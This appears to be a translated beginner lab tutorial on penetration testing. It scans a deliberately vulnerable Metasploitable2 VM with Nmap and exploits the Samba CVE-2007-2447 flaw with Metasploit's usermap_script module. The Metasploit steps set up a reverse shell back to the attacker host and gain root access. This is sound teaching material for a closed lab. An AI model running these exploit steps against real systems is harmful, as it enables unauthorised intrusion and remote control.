简单的渗透测试实践

CybersecurityCybersecurityBeginner
立即练习

💡 本教程由 AI 辅助翻译自英文原版。如需查看原文,您可以 切换至英文原版

介绍

在本实验中,你将学习渗透测试的基本流程,并使用 Kali Linux 进行实际的攻击操作。目标是通过利用一个已知的 Samba 漏洞,获取对目标系统的远程 shell 访问权限。本实验为你提供了一个机会,了解真实世界渗透测试场景中的步骤,并练习使用 Nmap 和 Metasploit 等流行的安全工具。


Skills Graph

%%%%{init: {'theme':'neutral'}}%%%% flowchart RL cybersecurity(("`Cybersecurity`")) -.-> cybersecurity/NmapGroup(["`Nmap`"]) cybersecurity/NmapGroup -.-> cybersecurity/nmap_installation("`Nmap Installation and Setup`") cybersecurity/NmapGroup -.-> cybersecurity/nmap_port_scanning("`Nmap Port Scanning Methods`") cybersecurity/NmapGroup -.-> cybersecurity/nmap_host_discovery("`Nmap Host Discovery Techniques`") cybersecurity/NmapGroup -.-> cybersecurity/nmap_target_specification("`Nmap Target Specification`") cybersecurity/NmapGroup -.-> cybersecurity/nmap_os_version_detection("`Nmap OS and Version Detection`") cybersecurity/NmapGroup -.-> cybersecurity/nmap_service_detection("`Nmap Service Detection`") subgraph Lab Skills cybersecurity/nmap_installation -.-> lab-416117{{"`简单的渗透测试实践`"}} cybersecurity/nmap_port_scanning -.-> lab-416117{{"`简单的渗透测试实践`"}} cybersecurity/nmap_host_discovery -.-> lab-416117{{"`简单的渗透测试实践`"}} cybersecurity/nmap_target_specification -.-> lab-416117{{"`简单的渗透测试实践`"}} cybersecurity/nmap_os_version_detection -.-> lab-416117{{"`简单的渗透测试实践`"}} cybersecurity/nmap_service_detection -.-> lab-416117{{"`简单的渗透测试实践`"}} end

设置实验环境

渗透测试通常包括以下步骤:

  1. 信息收集:尽可能多地收集目标系统的信息,包括网络信息、网站内容、目录结构、潜在用户名、开放端口、服务、域名和子域名。可以使用各种工具来完成这一任务。

  2. 漏洞扫描:使用扫描工具对目标系统进行全面扫描,以识别漏洞。可以使用自动化扫描工具,也可以使用手动工具对特定服务进行针对性扫描。

  3. 漏洞利用:一旦识别出可利用的漏洞,使用适当的工具和技术在目标系统上获取更高级别的访问权限或特权。这可能涉及远程代码执行、注入攻击或其他方法。

  4. 维持访问:在目标系统上创建后门或持久访问机制,以便未来访问时避免被检测到。

  5. 报告生成:分析发现的结果,并生成一份详细报告,描述发现的漏洞以及渗透测试过程中采取的步骤。这份报告可以帮助目标组织有效地保护其系统。

总之,在了解了渗透测试的基本步骤后,是时候将理论付诸实践了。通过动手练习,我们可以应用所学的知识和技能,在渗透测试领域获得实际经验。

首先,你需要设置实验环境以练习渗透测试场景。

实验环境由两个系统组成:

  1. Kali Linux 容器(攻击机):这是一个运行 Kali Linux 的 Docker 容器,将用于执行攻击。

  2. Metasploitable2 虚拟机(目标机):这是一个易受攻击的 Ubuntu 服务器,作为目标系统。

按照以下步骤设置环境:

  1. 启动 Metasploitable2 目标机:
sudo virsh start Metasploitable2

等待目标机器启动,可能需要1-3分钟。

  1. 通过 ping 目标机确保其正在运行(使用 Ctrl+C 退出):
ping 192.168.122.102
  1. 启动 Kali Linux 容器并进入 Bash shell:
docker run -ti --network host b5b709a49cd5 bash
  1. 通过从 Kali 容器 ping 目标机测试网络连通性(使用 Ctrl+C 退出):
ping 192.168.122.102

现在,攻击机和目标机都应该正在运行并且可以访问。你已经准备好开始渗透测试过程了。

执行漏洞扫描

在这一步骤中,你将使用 Kali Linux 中的 Nmap 工具扫描目标系统,以发现开放的端口和服务。

  1. 在 Docker 容器中运行以下 Nmap 命令进行全面的扫描,并将输出保存到 /tmp/report.txt,可能需要几分钟才能完成:
nmap -p 1-65535 -T4 -A -v 192.168.122.102 > /tmp/report.txt

以下是各标志的含义:

  • -p 1-65535:扫描所有端口
  • -T4:设置时间模板(值越高表示扫描速度越快)
  • -A:启用操作系统检测和版本检测
  • -v:增加详细程度
  • >/tmp/report.txt:将输出重定向到文件
  1. 等待扫描完成(可能需要几分钟)。

  2. 使用 cat 命令打开 /tmp/report.txt 文件,分析扫描报告:

cat /tmp/report.txt

报告将列出目标系统上运行的开放端口、服务及其版本。

  1. 识别扫描过程中发现的服务和版本可能存在的潜在漏洞。

在本例中,我们将重点关注 Samba 服务,因为 Metasploitable2 系统上运行的 Samba 版本存在一个已知的远程命令执行漏洞(CVE-2007-2447)。以下是 Samba USERNAME MAP SCRIPT 远程命令执行漏洞(CVE-2007-2447)的详细信息:

  • CVE: CVE-2007-2447
  • 受影响版本:Samba 3.0.0 - 3.0.25rc3
  • 漏洞描述:该漏洞存在于 Samba 处理 username map script 配置选项的方式中。当启用此选项时,Samba 在将用户输入传递给 /bin/sh shell 之前未能正确清理输入,从而允许远程攻击者以 Samba 用户的身份执行任意命令。

Samba 官方漏洞描述可以在以下链接找到:http://samba.org/samba/security/CVE-2007-2447.html

我们将用于利用此漏洞的 Metasploit 漏洞利用模块是 exploit/multi/samba/usermap_script。你可以在以下链接找到该模块的源代码和注释:https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/multi/samba/usermap_script.rb

使用 Metasploit 利用漏洞

在这一步骤中,你将使用 Metasploit Framework 来利用 Samba USERNAME MAP SCRIPT 漏洞,并获取目标系统的远程 shell 访问权限。

  1. 启动 Metasploit 控制台:
cd ~
msfconsole
  1. 在 Metasploit 控制台中加载 Samba 漏洞利用模块:
use exploit/multi/samba/usermap_script
  1. 在 Metasploit 控制台中设置 payload 为 cmd/unix/reverse
set payload cmd/unix/reverse
  1. 在 Metasploit 控制台中配置目标 IP 地址和端口:
set RHOST 192.168.122.102
set RPORT 445
  1. 在 Metasploit 控制台中设置反向 shell 的本地 IP 地址:
set LHOST 192.168.122.1
  1. 在 Metasploit 控制台中验证选项:
show options
  1. 在 Metasploit 控制台中执行漏洞利用:
exploit

如果漏洞利用成功,你将获得目标系统上 root 用户的远程 shell 会话。

  1. 完成测试后,你可以通过按下 Ctrl+C 并输入 exit 退出 shell,返回到 Kali 容器。

总结

在本实验中,你学习了渗透测试的基本流程,并通过实际操作体验了真实世界的攻击场景。你设置了一个包含易受攻击目标系统的实验环境,使用 Nmap 进行了漏洞扫描,分析了一个已知的 Samba 漏洞,并利用 Metasploit Framework 成功获取了远程 shell 访问权限。这种实践经验将帮助你更好地理解渗透测试中使用的技术和工具,以及安全系统配置和漏洞管理的重要性。

您可能感兴趣的其他 Cybersecurity 教程